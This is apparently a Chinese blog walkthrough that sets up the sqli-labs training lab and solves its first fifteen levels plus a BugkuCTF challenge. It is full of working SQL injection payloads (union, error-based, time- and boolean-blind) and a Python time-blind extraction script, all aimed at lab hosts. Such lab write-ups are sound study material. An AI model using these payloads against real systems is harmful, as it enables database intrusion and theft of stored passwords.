sqli-labs
sqli-labs搭建以及前15题解答
[TOC]
sqli-labs的部署(vps上)
安装docker
因为自己vps上已经装好了,就不多赘述了
yum upadte
//更新yumyum install -y docker-engine
//安装docker部署sqli_libs
sudo docker search sqli-labs
//在docker镜像库中搜索sqli-labssudo docker pull acgpiano/sqli-labs
//拉取docker镜像库中的sqli-labs,并下载sudo docker run -d --name sqli-labs -p 20000:80 acgpiano/sqli-labs
//生成镜像,-p为端口号 -name为镜像名字完成后在命令行中打入
docker ps
查看镜像,可以看到sqli-labs的端口号为20000,已经开启打开网页可以看到已经访问成功,让我们点击 第二行的setup 连接一下数据库
如果显示如下的画面则表示已经部署完毕,可以做题啦!
ps: 如果无法连接security数据库,使用如下命令:
docker ps -a //查看所有容器
35c47c2c260d c0ny1/sqli-labs:0.1 //定位到sqlilabs的容器
docker exec -it 0112 /bin/bash //交互模式进入容器 0112是容器id前几位
php /var/www/html/sql-connections/setup-db.php //用php运行这个文件,数据库就连上了
附上链接🔗: https://blog.csdn.net/Big_Study_Father/article/details/106052620
sqli-labs做题记录
Less-1
分析
首先查看源码 在源码中,我们着重看这一句就好 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这句话中的id就是我们在url中get的值,所以通过这一部分的代码,我们可以知道它是什么类型的sql注入,用什么方式绕过等信息
由此我们可以想到如果闭合一个单引号并且将后面的内容注释掉后
sql语句就变成了这样$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+'";
这里利用联合注入,将1,2,3显示出来,同样,利用联合注入还可以爆出表名,字段名等等
解题:
- 当在id=1后加单引号时报错,由此判断为字符型注入,原理如上面所分析的一样,加入注释符后又可恢复正常
猜解字段数,我们利用order by语句猜解字段数,当order by 4时发现报错,此时判断有3个字段
判断显示位 ,注意!!此时利用union注入时,要将前面id不成立,即使id=-1
如图,可以发现我们成功将2,3显示在了页面上
接下来爆库名,因为能将数值回显,所以也能将数据库名回显
如上图,我们将想要显示的信息呈现在页面上,version()为版本信息,database()为库名
我们知道了库名,即可根据库名来爆表名,这里可以用hackbar工具进行注入
payload:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
得到如上几个表名
有了表名,我们即可爆字段
payload:
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
如上图,可以看到在users表中有三个字段,分别是 id,username,password
此时我们爆出password即可成功,爆字段值
payload:
?id=-1' union select 1,2,(select group_concat(password) from security.users)--+
可以看到所有字段内容已经被dump出来了,解题完毕
Less-2
分析
先看关键源码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
很明显的区别就是与上题少了两个引号,上题是字符型注入,那么这题就是数字型注入,也就是说不需要引号,不用闭合引号,可直接输入,直接使用联合注入,其余解题方法与Less-1一样
解题
猜解字段数,方法一样,order by 函数,只不过这题为数字型注入,不需要引号
可以看到还是一样只有3个字段
爆库名(利用union select时,还是一样要使左边的表达式不成立,即id=0)
爆出数据库名 security
爆表名,利用语句可dump出所有表名
payload:
?id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
爆字段,根据表名 users 爆字段
payload:
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆字段值,根据字段爆内容
payload:
?id=0 union select 1,2,group_concat(password) from security.users--+
如图,所有字段内容已经出来,解题完成
Less-3
分析
先看关键源码: $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
我们观察源码发现,语句上给id加上了个括号,但本质还是字符型注入
如果我们加一个单引号,那么语句就变成$sql="SELECT * FROM users WHERE id=('$id'') LIMIT 0,1";
但这样是会出现错误的,因为与前面的双引号重叠了
如果我们加上单引号并且加上括号的话,语句就变成$sql="SELECT * FROM users WHERE id=('$id')') LIMIT 0,1";
如果我们加上括号并加上注释符后 语句为$sql="SELECT * FROM users WHERE id=('$id')--+";
达到了注入的效果
解题
猜解字段数,利用order by语句
payload:
?id=1') order by 4--+
存在3个字段
爆数据库名
payload:
?id=0') union select 1,database(),3--+
爆表名
payload:
?id=0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
爆字段
payload:
?id=0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
爆字段值
payload:
?id=0') union select 1,2,group_concat(password) from security.users--+
字段爆完,解题完毕
Less-4
分析
首先看源码 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以看到id被括号括起来了,整体用双引号括起
那么也很简单,只要将双引号提前闭合就可以达到注入的效果
构造语句 $sql="SELECT * FROM users WHERE id=($id")--+) LIMIT 0,1";
这样成功闭合,–+就将后面的东西注释掉了,成功注入
解题
总体注入方式一样
猜解字段,可以看到还是一样的3个字段
爆数据库名
payload:
?id=0") union select 1,database(),3--+
爆表名
payload:
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
payload:
?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆字段值
payload:
?id=0") union select 1,2,group_concat(password) from security.users--+
Less-5
分析
先看源码
表面上和第一关没什么区别,但实际上它加上了个判断,也就是说如果我们联合注入的话它只会显示 You are in
此类型题目我们考虑使用盲注的方法,因为页面只会显示You are in,要么没有回显
当出现这种情况考虑布尔盲注,时间盲注,报错注入等,通过猜测和判断,确定长度和字符
解题
如果我们输入
?id=1' and sleep(5)--+
如果显示正常,那么页面会延迟5秒种,(并不会有页面的回显)如下图
ps:过在MySQL中执行select sleep(N)可以让此语句运行N秒钟:
此题采用时间盲注的方式,采用payload:
?id=1’ and if(length(database())=7,sleep(5),1)--+
利用三元表达式,如果数据库长度为7,那么就延迟5s,否则就不延迟
)
如图当判断库名长度为7时,无延迟,当长度为8时有延迟,所以库名长度为8
猜测库名,利用left()函数
Left()得到字符串左部指定个数的字符
构造payload:
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
如果数据库的第一个字符是s的话,那么就延迟5s
很明显有延迟,说明数据库第一个字符为s
但是一个个爆太慢了,我们采用python脚本的方式,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45import requests
import datetime
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://118.31.59.38:20000/Less-5/"
payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://118.31.59.38:20000/Less-5/"
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
#print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
database_name()得到结果
根据数据库猜测表名
payload:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users'--+
猜字段名
payload:
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
猜值
payload:
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
使用脚本如下:(实现爆字段)
Less-6
分析
分析源码可以发现与第五题不同的是这次是双引号,同为字符型,并且只显示You are in或者不回显的状态
那么我们同样可以用上题的时间注入方法,但这题我们使用报错注入,
ps:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
利用xpath语法错误来进行报错注入主要利用extractvalue
和updatexml
两个函数。
使用条件:mysql版本>5.1.5
解题
通过报错注入进行爆库
payload:
?id=1" union select updatexml(1,concat(0x7e,database(),0x7e),1)--+
或者:
?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+
得到数据库 security
通过报错注入进行爆表
payload:
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
或者:
?id=1" and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
通过报错注入爆字段值 (操作与之前的题目一样)
payload:
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+
Less-7
分析
这题传马也可以,这应该是最预期的解法了
先看关键源代码吧 $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
反正这几题方法都一样,都是盲注,只不过闭合方式不一样而已
这题中我们可以看到双括号,那么我们’))加上注释就可以了
解题
脚本梭就完事了,解题思路同上
时间盲注和布尔盲注都可以,这里用到时间盲注吧 脚本比较万能
库名已经出来
字段名
Less-8
分析
首先查看源码 关键语句是这么写的 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以很简单,我们提前闭合就行,让id=’并注释即可闭合
这题也是一样的,页面只会存在两张状态,所以我们还是通过盲注
报错注入也使用过了,时间注入也使用过了,这次用布尔盲注解题
布尔盲注简介
在无回显的情况下,我们可以用length来尝试猜测数据库名字长度
1
1' and length(database()) > 1#
length() 返回字符串长度
ascii() 它返回参数字符的ascii码值,如果参数长度大于1,那就返回第一个字符的码值。
substr() 取子串,截取字符串
简述猜数据库名的思路:
用substr把字符一个个拿出来,判断它的ascii值就可以了!
使用语句 ascii(substr((select database()),1,1))
解题
爆数据库长度
payload:
?id=1' and length(database()) > 7--+
当我们判断长度为8时,发现回显正常,说明数据库长度为8
爆库名
payload:
?id=1' and ascii(substr(database(),8,1))>120--+
利用上面的payload,我们可以判断库名的长度,利用ascii码,判断库名字母是否处于范围中,如上图如果出现 You are in 那么就说明成立
同样利用上面的原理,我们同样能爆出表名
payload:
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+
成功回显说明,表名的第一个字符的ascii码大于100
由此可继续推断字段名,字段内容等等
- 以下是通过python脚本爆出来的结果
如上图,可以看到成功爆出密码
Less-9
分析
根据源码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
看了关键源码后我们发现还是一样的类型,只要提前闭合单引号即可
并且我们发现无论输入什么,页面都没有回显,所以其他注入都不可行,只能使用时间盲注
通过延迟来判断是否成立
解题
如果我们输入
?id=1' and sleep(5)--+
如果显示正常,那么页面会延迟5秒种,(并不会有页面的回显)如下图
ps:过在MySQL中执行select sleep(N)可以让此语句运行N秒钟:
思路一样,上面已经写过了,那么这题用脚本梭就完事了
爆数据库名:
得到数据库名
爆字段:
爆字段值:
Less-10
分析
先看关键代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
原理一样,闭合单引号即可
这里不多赘述了
贴上结果
上图爆出表名,可继续爆字段
Less-11
分析
首先界面完全不一样,看到表单,那么这题一定是post注入的题目了,第一关的post应该不难
我们先来看下源码
可以发现post了两个值,分别是uname和passwd,并将两个值传入sql语句中,执行操作
那么我们根据之前的做题经验,我们将post值提前闭合就可,这是一道基于单引号的字符型注入
那么做题思路都一样,只是传参方式不同罢了
解题
猜测有几个字段
payload(使用post传参):
uname=0' union select 1,2#&passwd=1
这里的passwd的值无所谓,因为只要前面的能注入,出结果就行了
看到回显说字段3不存在,说明只有两个字段
爆数据库名
payload(使用post传参):
uname=0' union select 1,database()#&passwd=1
爆数据表
payload(使用post传参):
uname=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&passwd=1
- 爆字段
payload(使用post传参):uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1

- 爆字段值
payload(使用post传参):uname=0' union select 1,group_concat(password) from security.users#&passwd=1
解题完毕
Less-12
分析
先看源码 关键源码 @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
芜湖,又是原理一样的题目,只不过这里是闭合双引号加括号罢了,这种题我们之前做过太多太多了
简简单单梭哈
解题
解法都是一样的,就不多赘述了
贴几个payload吧!
爆表:
payload:(post传参)
uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1

爆字段值
payload:
uname=0") union select 1,group_concat(username) from security.users#&passwd=1
解题完毕
Less-13
分析
先看源码
猜测应该是闭合单引号括号就可以进行注入
我们使用联合注入,但是发现好像页面并无回显
试了几次后无果,考虑盲注或者报错注入
这里采用报错注入的方法
解题
报错注入爆数据库名,使用updatexml函数,并闭合uname
payload:
uname=1') union select updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1
成功报错回显,显示数据库名,接下来的步骤都一样啦
爆表名
payload:
uname=1') union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1
爆出表名,接下来不多赘述
Less-14
分析
先看源码
啊这,双引号注入,基于双引号的字符型注入
简简单单,也不分析了吧
先判断下还是不是利用报错注入
好吧还是,利用联合注入没反应,还得是报错注入
解题
解法与上题一样,改闭合方式即可
这里就贴一个爆出的字段值的吧
payload:uname=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#&passwd=1
Less-15
分析
查看源码如下
好像是单引号闭合
但是我们发现好像并无回显,唯一会变的就是下方的图片样式,让我们再仔细的查看代码
如上图,我们发现它把报错注入的提示和提示信息都注释掉了,所以我猜测这题使用盲注与sleep函数进行配合注入
解题
判断数据库长度
payload:
uname=admin' and if(length(database()=8),sleep(5),1)#&passwd=1
ps:这里的uname必须为admin才会进行时间盲注,换成其他值都不行,这个疑问还没解决
如上图成功延时,这就说明数据库长度为8
爆数据库名
payload:
uname=admin' and if(substr(database(),1,1)='s',sleep(5),1)#&passwd=1
如果延时,那么说明数据库的第一个字符为 s
uname=admin’ and if(substr(database(),2,1)=’e’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),3,1)=’c’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),4,1)=’u’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),5,1)=’r’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),6,1)=’i’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),7,1)=’t’,sleep(5),1)#&passwd=1
uname=admin’ and if(substr(database(),8,1)=’y’,sleep(5),1)#&passwd=1
按照这种方法可以猜测出数据库名
用同类方法也可以爆出表名,字段名等,不多赘述了
BugkuCTF web17 成绩表
先随便输入数字试试 输入1发现有回显
根据传参可判断这是POST方式,测试一下是不是为sql注入,输入id=1后回显正常
加入单引号后发现回显不正常,判断为sql注入
接下来用order by 语句判断列数
从4开始吧,构造id=1’ order by 4#,正常回显
当构造id=1’ order by 5#时,发现回显不正常
由此判断有4列
之后尝试联合注入,需要把查询数据置空
具体做法是:id=0’ union select 1,2,3,4#
下面就猜测数据库的库名,版本信息,数据库用户
1 | tips: 没有顺序可言,因为第一个列是成绩单的姓名,所以我们可以把它设为null |
根据数据库skctf_flag去查询表名
我们可以构造这么一个pyload,
1 | id=0' union select null,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()# |
大致意思就是将第二个列显示出它所有的表名
这个**select group_concat(table_name) from information_schema.tables where table_schema=database() **可以暂且把它当作一个用来查询表名的固定格式
我们得到了fl4g,可知flag在fl4g的表中,那么下一步我们需要做的就是查询此表中的字段名
构造pyload
id=0’ union select null,(select group_concat(column_name) from information_schema.columns where table_name=’fl4g’),user(),version()#
注意!!
这里fl4g是一个表,所以需要加单引号
我们得到了 skctf_flag 字段 可知flag在这里了(皆大欢喜)
接下来就很简单了 直接构造
1 | select skctf_flag from fl4g |
可得 pyload
id=0’ union select null,(select skctf_flag from fl4g),user(),version()#
可得flag{aaab401ce593c5d4334e8c565a91b82e}
列名爆出后 爆当前列下的内容所用指令
select concat_ws(char(32,58,32),username,passwd) from users limit 1,1
布尔盲注
布尔盲注就是存在注入的页面没有回显,没办法用select 1,2,3….#来判断页面的回显
既需要手工又需要脚本:
http://219.153.49.228/new_list.php?id=1 and length(database())>10
用上述的length函数判断数据库长度
现当值为10的时候,页面就没有显示为false。那么说明database()的长度是10
利用/!union/可以绕过对union的过滤